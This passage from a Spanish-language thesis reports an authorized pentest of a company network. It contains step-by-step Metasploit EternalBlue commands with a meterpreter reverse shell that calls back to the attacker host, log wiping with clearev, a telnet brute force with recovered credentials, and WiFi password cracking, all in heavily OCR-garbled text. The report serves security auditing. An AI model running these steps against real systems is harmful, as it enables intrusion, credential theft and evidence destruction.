Para poder ejecutar las pruebas de pentesting, se realiza un disefio de las mismas,

las cuales consta de lo siguiente:

e En primera instancia, se realizard una breve planeacion de checklists de pruebas
de red, como conectividad entre el host atacante y la host victima, para no tener
problema al momento de mapear los hosts y asi asegurar la efectividad.

e Después, para examinar el reconocimiento de la trama local se utilizara la
herramienta Nmap, la misma que permitira obtener informacion valiosa acerca de
los hosts que estan conectados a la red tales como: su SO, los puertos abiertos,
servicios y la version que estan ejecutando.

e Posteriormente, para el reconocimiento de vulnerabilidades se utilizara la
herramienta Nessus, la cual servira para descubrir esas vulnerabilidades
encontradas por orden de criticidad y de forma grafica. Tambien da informacion
de que exploits se pueden utilizar para romper la brecha de seguridad en las
vulnerabilidades encontradas y soluciones para evitar las mismas.

e Finalmente, para la explotacion de las vulnerabilidades se utilizara la herramienta
de Metasploit, con el fin de contrarrestar las vulnerabilidades encontradas en los
equipos que han sido victimas de ataques utilizando codigos de explotacion. Una
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vez que la maquina victima fue hackeada, los atacantes buscan escalar privilegios
para mantener el acceso y analizar toda la informacion del equipo. Para terminar
con las pruebas de pentesting, se eliminan las huellas del ataque para no generar

inconvenientes en la maquina testeada.

Se disefia un escenario de pruebas que incluye: el atacante que se ejecuta en una laptop
con una distribucion Kali Linux, una WLAN, vy los diferentes dispositivos que se van
auditar, es decir:

Figura 3.2 Escenario de pruebas de pentesting

192.168.0.4/24
ACCESS POINT 1

192.168.0.3/24

ACCESS|POINT 2

SWITCH

192.168.0.253/24

@ ROUTER
FIREWALL SWITCH SERV|DOR DE APLICACIONES

U2 192.168.0.193/24

W = 17
W e A
W =1

\VIDOR WER  SERVIDOR PE ARCHIVOS
192.168.0.11/24 92.168.0.254/24

w
=

Kali Linux

=

KOs EO4

Fuente: Roberto Chango y Daniela Gualpa

3.4 Ejecucion de Pruebas de Pentesting.
3.4.1 Hackeo Etico al Servidor de Archivos.

Para realizar el hackeo ético se escogio al servidor de archivos debido a que es el
servidor que contiene el sistema operativo (Windows Server 2012) mas antiguo existente

en la empresa, por lo que se considera el servidor mas vulnerable a ataques.

3.4.1.1 Fase de Reconocimiento.

Las primeras pruebas de pentesting tiene como méaquina objetivo al servidor de
archivos de la empresa y su IP: 192.168.0.254. Para la actividad de reconocimiento y
escaneo dirigida al mismo, se utiliza los siguientes comandos de Nmap descritos en la
tabla 3.4.

Tabla 3.4. Auxiliares de comando para Nmap.
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COMANDO DESCRIPCION

-sS Para ser sigilosos en la red al momento de la ejecucion de las pruebas

-sV Identificacion de la version del servicio que esté corriendo en el
equipo

-0 Identificacion del sistema operativo

-script vuln -p | Identificacion de una vulnerabilidad en un puerto especifico
Fuente: Roberto Chango y Daniela Gualpa

Como se observa en la figura 3.3 se

1T 192.168.0.254
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 13:47 -05
Nmap scan report for 192.168.0.254
Host is up (©.00039s latency).
Not shown: 981 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-21 18:47:29Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: RHELEC.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: RHELEC)
open kpasswd5?
open ncacn_http Microsoft Windows RPC over HTTP 1.0
open ssl/ldap
open ldap Microsoft Windows Active Directory LDAP (Domain: RHELEC.local, Site: Default-First-Site-Name)
open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: RHELEC.local, Site: Default-First-Site-Name)
open mysql MySQL (unauthorized)
open ssl/ms-wbt-server?
open ssl/realserver?
49154/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
MAC Address: C&4:34:6B:22:97:B4 (Hewlett Packard)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2012

recolecta informacion del escaneo de la méaquina objetivo mediante la herramienta Nmap.
Se utilizd el siguiente comando “Nmap -sS -sV -O 192.168.0.254/24”, el cual sirve para
mapear la IP del servidor de archivos de forma sigilosa para identificar los servicios y

versiones de los puertos abiertos que existen en el servidor de archivos.

Figura 3.3 Resultado del escaneo de Nmap al servidor archivos

Fuente: Roberto Chango y Daniela Gualpa

Con la informacion recolectada en la figura 3.3, se determina que el servicio de
archivos esta corriendo en el puerto 445/tcp abierto con una version de Windows Server

2012, por donde se llevara a cabo la explotacion de esa brecha de seguridad.

3.4.1.2 Fase de Identificacién de Vulnerabilidades.

Una vez identificado el puerto para atacar, se procede a consultar las debilidades
del puerto seleccionado para el ataque, con la ayuda del comando “nmap -SS -sV -script
vuln -p445 192.168.0.254”, el cual sirve para identificar qué tan vulnerable es el puerto

445 para realizar una explotacion por dicho puerto, tal como se observa en la figura 3.4.

Figura 3.4 Resultado del escaneo hacia el puerto 445 del servidor de archivos
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ap vuln 192.168.0.254

Starting Nmap 7.92 ( https://nmap.org ) at 2022-86-21 13:47 -85
Pre-scan script results:

| broadcast-avahi-dos:

| Discovered hosts:

| 224.0.0.251

| After NULL UDP avahi packet DoS (CVE-2011-1002)

|_ Hosts are all up (not vulnerable).

Nmap scan report for 192.168.0.254

Host is up (90.00024s latency).

PORT STATE SERVICE VERSION

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: RHELEC)
MAC Address: C4:34:6B:22:07:B4 (Hewlett Packard)

Service Info: Host: SERVER; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| _smb-vuln-ms10-054: false
| smb-vuln-ms17-810:
| VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBvl
servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://blogs.technet.microsoft.com/msrc/2017/085/12/customer-guidance-for-wannacrypt-attacks
_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
_smb-vuln-ms10-@61: NT_STATUS_ACCESS_DENIED

Fuente: Roberto Chango y Daniela Gualpa

En la figura 3.4 detalla la informacion referente a una vulnerabilidad critica en la
brecha de seguridad del protocolo SMBV1 en el servidor de archivos, la cual puede ser
ejecutado con un exploit referente a ms17_010 para explotar dicha vulnerabilidad. Para
saber con precision todas las vulnerabilidades existentes en todos los puertos del servidor
de archivos, se utiliza la herramienta de Nessus para escanear las mismas y ponerlas en

orden de criticidad de una forma grafica tal como se muerta en la figura 3.5.

Figura 3.5 Resultado del escaneo al servidor de archivos con en Nessus.

Vulnerabilities 3% VPR Top Threats History 1

Q. | 1 Host

Vulnerabilities »

Fuente: Roberto Chango y Daniela Gualpa

En la figura 3.6 se puede observar la vulnerabilidad critica MS17-10 que
corresponde a protocolos de Microsoft Server Message Block 1.0 (SMBv1), encontrado
gracias a la herramienta Nessus, también se observa exploits que podrian utilizarse para
explotar esa vulnerabilidad, en este caso se utilizara el exploit eternalblue posteriormente

en la siguiente etapa.

Figura 3.6 Informacion de la vulnerabilidad critica MS17-010
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crmcaL | MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETE...

Affected Hosts (1)
92.168.0.254

Description
The remote Windows host is affected by the following vulnerabilities :

- Multiple remote cod

Fuente: Roberto Chango y Daniela Gualpa
3.4.1.3 Fase de Ataque y Penetracion.

Una vez detectadas las vulnerabilidades a explotar, se inicializa la herramienta de
metasploit framework para empezar con la fase de ataque y penetracién al servidor de
archivos. En la figura 3.7 se muestra la ejecucion del comando “use
auxiliary/scanner/smb/smb_ms17 0107, el cual sirve para realizar un escaneo al
protocolo “smb ms17-10” para saber qué tan vulnerable es el servidor con un exploit.
Después se ejecuta el comando “set rhost 192.168.0.254” que sirve para setear la ip del
servidor de archivos donde identifica que se va a realizar el escaner donde el host servidor
de archivos tiene una alta probabilidad de ser explotado con el protocolo smb ms17-10.

Finalmente se ejecuta el comando “run” para realizar el escaner al servidor de archivos.

Figura 3.7 Resultado del escaneo para protocolo smb ms17-10 en metasploit

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary( ) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name Current Setting Reguired Description

CHECK_ARCH true Check for architecture on vulnerable hosts

CHECK_DOPU  true Check for DOUBLEPULSAR on vulnerable hosts

CHECK_PIPE false Check for named pipe on vulnerable hosts

NAMED_PIPES /usr/share/metasploit-framework/data yes List of named pipes to check

/wordlists/named_pipes.txt

RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-frame
work/wiki/Using-Metasploit

RPORT 445 The SMB service port (TCP)

SMBDomain - no The windows domain to use for authentication

SMBPass no The password for the specified username

SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads (max one per host)

msf6 auxiliary( ) > set rhost 192.168.0.254
rhost => 192.168.0.254
msf6 auxiliary( ) > run

[+] 192.168.0.254:445 - Host is likely VULNERABLE to MS17-@1@! - Windows Server 2012 R2 Essentials 960@ x64 (64-bit)
102.168.0.254: 445 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( ) >

Fuente: Roberto Chango y Daniela Gualpa

Una vez escaneado el protocolo smb ms17-10 en el servidor de archivos, en la
figura 3.8, se ejecuta el comando “use exploit/windows/smb/ms17_010_eternalblue”, el
cual sirve para seleccionar el exploit de eternalblue recomendado para explotar esta
vulnerabilidad que tiene un rango promedio de explotacion para la brecha de seguridad
encontrada mediante.
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Figura 3.8 Resultado de la seleccion del exploit para el protocolo smb ms17-10

msf6 > use exploit/windows/smb/ms17

# Name Disclosure Date Rank

0 @exploit/windows/smb/msi17 010 eternalblue 2017-03-14 average
Corruption

1 expleit/windows/smb/ms17_010_psexec 2017-03-14 normal
ion SMB Remote Windows Code Execution

Interact with a module by name or index. For example info 1, use 1 or use ex

msf6 > use exploit/windows/smb/ms17_@1@_eternalblue
Using configured payload windows/x64/meterpreter/reverse_tcp

Fuente: Roberto Chango y Daniela Gualpa

Dentro del exploit eternalblue seleccionado, se escribe el comando “options” para
saber los parametros que deben ser seteados para llevar a cabo el ataque, como se muestra

en la figura 3.9.

Figura 3.9 Resultado de opciones existente dentro del exploit eternalblue

6 > use exploit/windows/smb/ms17_01@_eternalblue
No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
sf6 exploit( ) > options

odule options (exploit/windows/smb/ms17_01@_eternalblue):

Name Current Setting Required Description

RHOSTS The target host(s), see https://github.com/rapid7/meta|
RPORT yes The target port (TCP)

SMEDomain no (optional) The Windows domain to use for authenticatio
SMBPass no (Optional) The password for the specified username
SMBUser no (Ooptional) The username to authenticate as

VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote O0S matches exploit Target. Only affect

bayload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.137 yes The listen address (an interface may be specified)
LPORT L4 yes The listen port

Fuente: Roberto Chango y Daniela Gualpa

Se procede a setear los diferentes parametros con los comandos mostrados en la

figura 3.10 para que se lleve a cabo con éxito el ataque.

Figura 3.10 Comandos para setear los parametros exploit eternalblue

msf6 exploit( > set rhost 192.168.0.254
rhost => 192.168.0.254

msf6 exploit( set targetarchitecture x64
targetarchitecture => x64

msf6 exploit( set processinject lsaas.exe
processinject => lsaas.exe

msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msf6 exploit( ) > set lhost 192.168.0.137

lhost => 192.168.0.137

msf6 exploit( ) > show targets

Fuente: Roberto Chango y Daniela Gualpa
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Finalmente, se digita el comando “exploit” para explotar la vulnerabilidad y asi
obtener acceso al servidor de archivos mediante el payload meterpreter tal como se
muestra en la figura 3.11.

Figura 3.11 Acceso al servidor de archivos mediante payload meterpreter

1sf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.0.86:4444

192.168.0.254:445 - Using auxiliary/scanner/smb/smb_ms17_@1@ as check

192.168.0.254:445 - Host is likely VULNERABLE to M517-21@! - Windows Server 2012 R2 Essentials 9600 x64 (64-bit)
192. t445 - Scanned 1 of 1 hosts (100% complete)

192. :445 - The target is vulnerable.

192. 1445 shellcode size: 1283

192, 1443
192. 1445

- numGroomCenn: 12

- Target 0S: Windows Server 2012 R2 Essentials 9600

192. 1445 - got good NT Trans response

192. 1445 - got good NT Trans response

192. 1445 - SMB1 session setup allocate nonpaged pool success

192. 1445 - SMB1 session setup allocate nonpaged pool success

192. 1445 - good response status for nx: INVALID_PARAMETER

192. 1445 - good response status for nx: INVALID_PARAMETER

Sending ge (200262 bytes) to 192.168.0.254

Meterpreter session 1 opened (192.168.0.86:4444 -> 192.168.0.254:50305 ) at 2022-@6-21 14:57:26 -0500

e ® e &

@

neterpreter > D

Fuente: Roberto Chango y Daniela Gualpa

3.4.1.4 Fase: Mantener Acceso.

Después de haber explotado la vulnerabilidad de la brecha de seguridad “ms17-
10” y haber logrado tener acceso al servidor de archivos se mantiene el acceso, dentro de
la shell meterpreter. Al tratarse de un proceso de hackeo ético se accedié a la informacion
del servidor usando el comando “getuid” que muestra el privilegio de usuario que gano
el acceso al servidor. El comando “sysinfo” muestra informacion de la arquitectura del
servidor, el comando “ipconfig” muestra las direcciones ip configuradas en las interfaces

del servidor, como se observa en la figura 3.12.

Figura 3.12 Resultado de informacidn del servidor de archivos en la consola meterpreter

meterpreter > Setuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer 2 SERVER

os : Windows 2012 R2 (6.3 Build 96ee).
Architecture : xX64%

System Langsuase : es_EC

Domain : RHELEC

Logged On Users : 9

Meterpreter x6%4 / windows

meterpreter > ipconfig

Interface

Name - Software Loopback Interface 1

Hardware MAC — e -0 00

MTU T 4294967295

IPv4 Address = 1i27.e.e.1

IPv4 MNetmask : 25S.e.e.e

IPvSE6 Address : ==X

IPvS Netmask = FFrff:FfFFff:-FFfFFf - FFFfFF - FFFF:FFfFF - FFFF-FFFF

Interface 13

: HP Ethernet 1Gb Z-port 332i Adapter &2
Hardware MAC : c4%:34:6b:22:97:b4%
MTu — i1isee
IPv4 Address 192 .168.2.254
IPv4d Netmask 255 .255.255 .90

Fuente: Roberto Chango y Daniela Gualpa
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3.4.1.5 Fase: Eliminar Huellas.

Posteriormente se procede a eliminar las huellas de evidencia que se pudo haber
generado al momento de realizar las pruebas de las fases anteriores con el comando
“clearev”, tal como se observa en la figura 3.13, el cual es una herramienta propia de

Metasploit.
Figura 3.13 Resultado de la fase de limpiar huellas

meterpreter > clearev
Wiping 50289 records from Application...
Wiping 68299 records from System...

Wiping 220024 records from Security...
| meterpreter > []

Fuente: Roberto Chango y Daniela Gualpa

3.4.2 Pruebas al Servidor Web.

La segunda prueba de pentesting tiene como maquina objetivo el servidor web de
la empresa, tiene un sistema operativo Linux con IP: 192.168.0.11/24. Para la actividad
de reconocimiento y escaneo dirigida al servidor, se utiliza el comando “nmap -SS -V -
0 192.168.0.117, el cual sirve para mapear la IP del servidor web de forma sigilosa para
identificar los servicios y versiones de los puertos abiertos que existen en el servidor web,

tal como se muestra en la figura 3.14.

Figura 3.14 Resultado del mapeo al servidor web con nmap

Nmap scan report for 192.168.0.11

Host is up (@.00049s latency).

Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION

23/tcp open telnet ZKSoftware ZEM51@ access control device (Linux 2.4.28; MIPS)

80/tcp open http ZKTeco embedded web server

MAC Address: @@:17:61:18:68:13 (Private)

Service Info: 0S: Linux; Devices: security-misc, specialized; CPE: cpe:/h:zksoftware:zem51@

Fuente: Roberto Chango y Daniela Gualpa

Con la herramienta Nessus se puede identificar una vulnerabilidad mediana que

existe en el puerto 23/tcp/telnet tal como se muestra en la figura 3.15

Figura 3.15 Resultado del escaneo del puerto 23 del servicio telnet en Nessus
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Escaneo web 7/ Plugin #42263

<« Barc

My Scans

Hosts | 1 vulnerabilities 14 VPR Top Threats History | 1

-
BN ESCAMNEOC CASA
i ~ll scans

o

Trash Unencrypted Telnet Server

Description
Policies The remote host is running a Telnet server over an unencrypted channel

Plugin Rules

Using Telnet over an unencrypted channel is not recommended as logins, passwords, and comman
@ Terrascan remote, man-in-the-middle attacker to eavesdrop on a Telnet session to obtain credentials or other
exchanged between a client and server.

SSH is preferred over Telnet since it protects credentials from eavesdropping and can tunnel additio

Fuente: Roberto Chango y Daniela Gualpa

En la herramienta Metasploit, se busca un exploit auxiliar de telnet login con el
comando “search telnet login”, y se selecciona el numero 1, tal como se muestra en la
figura 3.16, el cual es usual para crear sesiones telnet y asi poder entrar al servidor web

de la empresa.

Figura 3.16 Resultado de la busqueda del auxiliar telnet login

mzt6 > search telnet_Logln

Matching Modul

# MName Disclosure Date Rank Check Descrip

@ auxiliary/admin/http/netgear_pnpx_getsharefolderl auth_bypass 2021-89-8 normal Yes Netgear
1 auxiliary/scanner/telnet/EElnetilogin normal No Telnet

Interact with a module by name or index. For example

Fuente: Roberto Chango y Daniela Gualpa

Una vez dentro del campo del auxiliar con el comando “options” se despliega los
parametros que deben ser setados, tal como se observa en la figura 3.17, para llevar a

cabo el ataque.

Figura 3.17 Resultado de las opciones de los pardmetros del auxiliar telnet.

msf6 auxiliary( ) > options
Module options (auxiliary/scanner/telnet/telnet_login):
Current Setting Required Description

BLANK_PASSWORDS blank passwords for all users

BRUTEFORCE_SPEED How fast to bruteforce, from © to 5

DB_ALL_CREDS Try each user/password couple stored in the current da
DB_ALL_PASS alse Add all passwords in the current database to the list
DB_ALL_USERS Add all users in the current database to the list
DB_SKIP_EXISTING skip existing credentials stored in the current databa
PASSWORD A specific password to authenticate with

PASS_FILE File containing passwords, one per line

RHOSTS The target host(s), see https://github.com/rapid7/meta
RPORT 3 The target port (TCP)

STOP_ON_SUCCESS e Stop guessing when a credential works for a host
THREADS 1 The number of concurrent threads (max one per host)
USERNAME A specific username to authenticate as

USERPASS_FILE File containing users and passwords separated by space
USER_AS_PASS Try the username as the password for all users
USER_FILE File containing usernames, one per line

VERBOSE Whether to print output for all attempts

msf6 auxiliary( ) > set rhost 192.168.0.11
rhost => 192.168.0.11

msf6 auxiliary( ) > set treads 100

treads => 100

msf6 auxiliary( ) > set USER_AS_PASS true
USER_AS_PASS => true

Fuente: Roberto Chango y Daniela Gualpa.
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Una vez seteados los parametros correspondientes, con el comando “run” se
procede a ejecutar el ataque. Después se ejecuta el comando “sessions -i”, en cual sirve
para definir las sesiones que se crearon sesiones de tipo Shell después de la explotacion,
tal como se observa en la figura 3.18, por medio de los cuales se podria tener acceso al

servidor.

Figura 3.18 Resultado de las sesiones creada para acceder al servidor telnet.

msf6 auleiary( ) > run

[!] 192.168.
192.168.
192.168.
192.168.0.
192.168.0.

1
1 192.168.
1
1
1
192.168.0.1
1
1
1
1
1

192.168.
192.168.
192.168.0.
192.168.0.
192.168.0.

LOGIN FAILED: anonymous:anonymous {Incorrect: )
LOGIN FAILED: root:rootpasswd (Incorrect: )
LOGIN FAILED: root:12hrs37 (Incor -t

LOGIN FAILED: ftp:bluRR3 (Incorrect: )

LOGIN FAILED: admin:admin (Incorrect: )
192.168.0. LOGIN FAILED: localadmin:localadmin (Incorrect: )
LOGIN FAILED: admin:1234 (Incorrect: )

LOGIN FAILED: user:user (Incorrect: )

LOGIN FAILED: apc:apc (Incorrect: )

192.168.0.
192.168.0.
192.168.
192.168.
192.168.
192.168.0.11:23
Command shell session
192.168.@.1 3
192.168.0.

192.168.0

Command shell session

192.168.0.
192.168.0.
192.168.0.
192.168.@.11: LOGIN FAILED: admin:nas (Incorrect: )}

192.168.0. Login Successful: Root:wago

Attempting to start session 192.168.0.11:23 with Root:wago

opened (192.168.0.187:38859 -> 192.168.@.11:23 ) at 2022-06-22 18 -0500

No active Credential data will not be saved!

00000088888

192.168.0.11:23 - LOGIN FAILED: Admin:wago (Incorrect: )
192.168.0.11:23 - Login Successful: User:user
Attempting to start session 192.168.0.11:23 with User:user
opened (192.168.0.187:34155 -> 192.168.0.11:23 ) at 2022-06-22 18 -@500
192.168.0. LOGIN FAILED: Guest:guest (Incorrect: )
192.168.0.11:23 LOGIN FAILED: ftp:ftp (Incorrect: )
192.168.0. LOGIN FAILED: admin:password (Incorrect: )
192.168.0. 192.168.0. 3 LOGIN FAILED: a:avery (Incorrect: )
192.168.0. 192.168.0.11:23 - LOGIN FAILED: msfadmin:msfadmin (Incorrect: )
192.168.0. - Scanned of 1 hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary( ) > sessions -i

192.168.0.11:23
192.168.0.11:23
192.168.0. 3
@
[}

(I T T T T N T T T T T A A B |

Active sessions

Id Name Type Information Connection

shell TELNET Root:wago (192.168.0.11:23) 192.168.0.107:38859 -> 102.168.0.11:23
shell TELNET User:user (192.168.0.11:23) 192.168.0.107:34155 -> 192.168.0.11:23

Fuente: Roberto Chango y Daniela Gualpa.

3.4.2.1 Pruebas a la Pagina Web.

La tercera prueba de pentesting tiene como objetivo la pagina web de la empresa,
la cual tiene como dominio la url “www.rhelec.ec”. Para la actividad de reconocimiento
y escaneo dirigida a la pagina web, se utiliza una herramienta el Kali Linux conocida
como “WPScan”, con el comando “wpscan —url http://rhelec.ec/Rhelec.2015/”, el cual
sirve para escanear las posibles vulnerabilidades que tiene la pagina web de una manera
sigilosa, una vez terminado con el proceso correspondiente de escaneo hacia la pagina
web, comienza a definir las vulnerabilidades encontradas en la misma, tal como se

observa en la figura 3.19.

Figura 3.19 Resultado del escaneo a la pagina web de la empresa con WPScan.
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the WPScan Team

a_wpPscan_, @methicalhack3r, @merwan_1lr, @mfirefart

me_db_migrate/tmm_db_migrate.zrip
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Confidence:
Referemceo: https: packetstormsecurity.com/file

The external WP-Cron seeas to be enabled: hitp://consejosparaestudiantes.con/wp-cron
Found By: Direct Access (Aggressive Detection)

ww . iplocation.net/defend-wordpress-from-ddos
t n/wpscan/issues /1299

fied (Latest, released on 2020-04-29).
)otection)
/', Match: ‘mp-include
Detection)
v Match ‘WordPress 5.3.3°

The main these could not be

Enumerating All (v ssive Methods)
- 3 s (via Passive and Aggressive Methods)

Fuente: Roberto Chango y Daniela Gualpa.
3.4.3 Pruebas al Servidor de Aplicaciones.

La cuarta prueba de pentesting tiene como maquina objetivo el servidor de
aplicaciones de la empresa con IP: 192.168.0.193/24 y un sistema operativo Windows
Server 2016. Para la actividad de reconocimiento y escaneo dirigida al servidor se utiliza
el comando “nmap -Sv -O 192.168.0.193”, el cual sirve para mapear la IP del servidor de
aplicaciones de forma sigilosa para identificar los servicios y versiones de los puertos

abiertos que existen en el servidor, tal como se muestra en la figura 3.20.

Figura 3.20 Resultado del mapeo al servidor de aplicaciones con Nmap.

/home/roberto
nmap 192.168.0.193
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-27 18:29 -85
Nmap scan report for 192.168.0.193
Host is up (@.00028s latency).
Not shown: 994 filtered tcp ports (no-response)

STATE SERVICE VERSION

open http

open msrpc Microsoft Windows RPC

open netbios-ssn Microsoft Windows netbios-ssn

open ssl/https

open microsoft-ds Microsoft Windows Server 20088 R2 - 2012 microsoft-ds
open ms-wbt-server Microsoft Terminal Serwvices

Fuente: Roberto Chango y Daniela Gualpa.

Con la ayuda de la herramienta Nessus se categoriza las vulnerabilidades

encontradas en el servidor de aplicaciones, tal como se muestra en la figura 3.21.
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Figura 3.21 Vulnerabilidades encontradas en el servidor de aplicaciones en Nessus

{ :) nessus

IP:19

Hosts 1 Vulnerabilities 26 VPR Top Threats (@ History 1
Filter Q | 1Host

Vulnerabilities v

: T

Fuente: Roberto Chango y Daniela Gualpa

3.4.4 Pruebas alared WLAN.

3.4.4.1 Pruebas al Access Point Primario.

La quinta prueba de pentesting tiene como objetivo al Access Point primario de
laempresa con IP: 192.168.0.4/24. Para la actividad de reconocimiento y escaneo dirigida
al servidor, se utiliza el comando “nmap -sV -O 192.168.0.4”, el cual sirve para mapear
la IP del Access point de forma sigilosa para identificar los servicios y versiones de los

puertos abiertos que existen en la red Wlan, tal como se muestra en la figura 3.22.

Figura 3.22 Resultado del escaneo al access point primario con Nmap.

/home/roberto
nmap 192.168.0.4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-24 14:02 -85
Nmap scan report for 192.168.0.4
Host is up (©.00037s latency).

Not shown: 995 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh Dropbear sshd 2812.55 (protocol 2.@)

53/tcp filtered domain

88/tcp open http Router Webserver

1900/tcp open upnp ip0S upnpd (TP-LINK TL-WR94@N WAP 6.0; UPnP 1.0)
49152/tcp open http Huawei HG8245T modem http config

Fuente: Roberto Chango y Daniela Gualpa

Con la herramienta Nessus se categoriza las vulnerabilidades encontradas en el

access point primario, tal como se muestra en la figura 3.23.

Figura 3.23 Vulnerabilidades encontradas en el access point primario con Nessus.

ip 192.168.0.4
= < Ba ]
B Myscans
B ESCANEO CASA
Hosts 1 vulnerabilities 22 Remediations 1 VPR Top Threats History 1

W Al Scans
@ Trash Filter =

Host Vulnerabilities v
Q rolicies

192.168.0.4 Bl : 4 26
@ Plugin Rules

Fuente: Roberto Chango y Daniela Gualpa
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Por medio de la herramienta Nessus, se ha encontrado una vulnerabilidad alta en

el puerto 22, tal como se muestra en la figura 3.24.

Figura 3.24 Vulnerabilidad critica encontrada en el access point con Nessus.

ip 192.168.0.4 / Plugin #93650

@ My scans
- ESCANEO WEB
= Hosts |1 Vulnerabilities | 22 Remediations 1 VPR Top Threats History 1
@ Al Scans
T h M .
LIS Dropbear SSH Server < 2016.72 Multiple Vulnerabilities
Policies Acec self-reported version In its banner, Dropbear SSH running on the remote host Is prior to 2016.74. it is, therefore, affected by the

Plugin Rules

Terrascan n usernames and host arguments. An

ges. (CVE-2016-7406)

crafted OpenssH key files. An unauthenticated, remote attacker can exploit

ts. An unauthenticated, remote attacker can exploit this, via a specially

0
rary code. (CVE-2016-7408)

Fuente: Roberto Chango y Daniela Gualpa

3.4.4.2 Pruebas al Router de Internet.

La séptima prueba de pentesting tiene como objetivo al Router de Internet de la
empresa con IP: 192.168.0.1/24. Para esta prueba se utiliza una herramienta conocida en
Kali Linux como “Fern WIFI Craker”, para auditar la red Wifi de la empresa, tal como

se observa en la figura 3.25.

Figura 3.25 Interfaz de la herramienta Fern WIFI Craker.

Fern WIFI Cracker

Select Interface

Scan for Access points

Fuente: Roberto Chango y Daniela Gualpa

Al utilizar esta herramienta por medio de la interfaz “wlan0” automaticamente
esta se coloca en modo monitor para proceder con el escaneo de la red wifi. En la figura

3.26 se define las redes wifi que encontro la herramienta anteriormente mencionada, la
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red wifi sobre la que que se va a trabajar es TP-Link_RH correspondiente a la de la

organizacion.

Figura 3.26 Redes Wifi encontradas con la herramienta Fern WIFI Craker.

Fuente: Roberto Chango y Daniela Gualpa

Esta herramienta contiene un archivo de texto con una enorme recopilacion de
contrasefias filtradas en diferentes brechas de seguridad a nivel mundial. Con la ayuda de
este archivo se prueba las contrasefias contenidas en el mismo con la contrasefia de la red
wifi empresarial para hackear la red si la contrasefia esta dentro de esa base de datos.
Cuando la herramienta se esta ejecutando. La conmutacion de claves criptograficas que
se realiza de forma que, en una etapa posterior, se pueda establecer una conexion de
cifrado simétrico entre el servidor y el navegador del usuario. En la figura 3.27 se muestra

el resultado de la contrasefia encontrada al finalizar con la ejecucion de la herramienta.

Figura 3.27 Resultado de la contrasefia descifrada de la red wifi.

Fuente: Roberto Chango y aniela Gualpa
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3.5  Reporte de Vulnerabilidades Encontradas
3.5.1 Vulnerabilidades en Servidor de Archivos.

Con las pruebas de pentesting realizadas se logré detectar muchas
vulnerabilidades referentes principalmente a puertos abiertos en el servidor de archivos
con direccion IP: 192.168.0.254/24, las cuales se definen en la tabla 3.5.

Tabla 3.5 Vulnerabilidades en Servidor de Archivos

PUERTO ESTADO SERVICIO VULNERAERILIDAD
445/tcp Abierto Microsoft-ds | Critica

636/tcp Abierto Ssl/Ldap Alta
3269/tep | Abierto Ssl/Ldap Alta
3389/tep | Abierto Ssl Alta
49156/tcp | Abierto Msrpe Media
49158/tcp | Abierto Msrpc Media
S53/tep Abierto Domain Baja

593/tcp Abierto Ncacn_http Baja
Fuente: Roberto Chango y Daniela Gualpa
Otra vulnerabilidad que se detectd fue la obsolescencia del sistema operativo

(Windows Server 2012) que se encuentra instalado en el servidor de archivos.

3.5.2 Vulnerabilidades en Servidor Web.

Con la segunda prueba de pentesting realizada anteriormente se logrd detectar
algunas vulnerabilidades en el servidor web con direccion IP: 192.168.0.11/24, las cuales

se definen en la tabla 3.6.
Tabla 3.6 Vulnerabilidades en Servidor Web

PUERTO ESTADO SERVICIO VULNERABILIDAD

23/tep Abierto Telnet Alta
80/tcp Abierto Http Baja
Fuente: Roberto Chango y Daniela Gualpa

En un tercer pentesting realizado al sitio web de la organizacién encontré una
confiabilidad del 70% en cuanto a XML-RPC (Remote Procedure Call), protocolo de
Illamada a procedimiento remoto que usa XML para codificar datos y HTTP como
protocolo de emision de mensajes, esto se debe a que no se ha actualizado la pagina web

y le hace falta plugin de seguridad para llegar una confiabilidad del 100%.
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3.5.3 Vulnerabilidades en Servidor de Aplicaciones.

Gracias a la prueba de pentesting realizada, se logr0 detectar varias
vulnerabilidades en el servicio de telnet con direccion IP: 192.168.0.11/24, mismas que

se enumeran en la tabla 3.7.
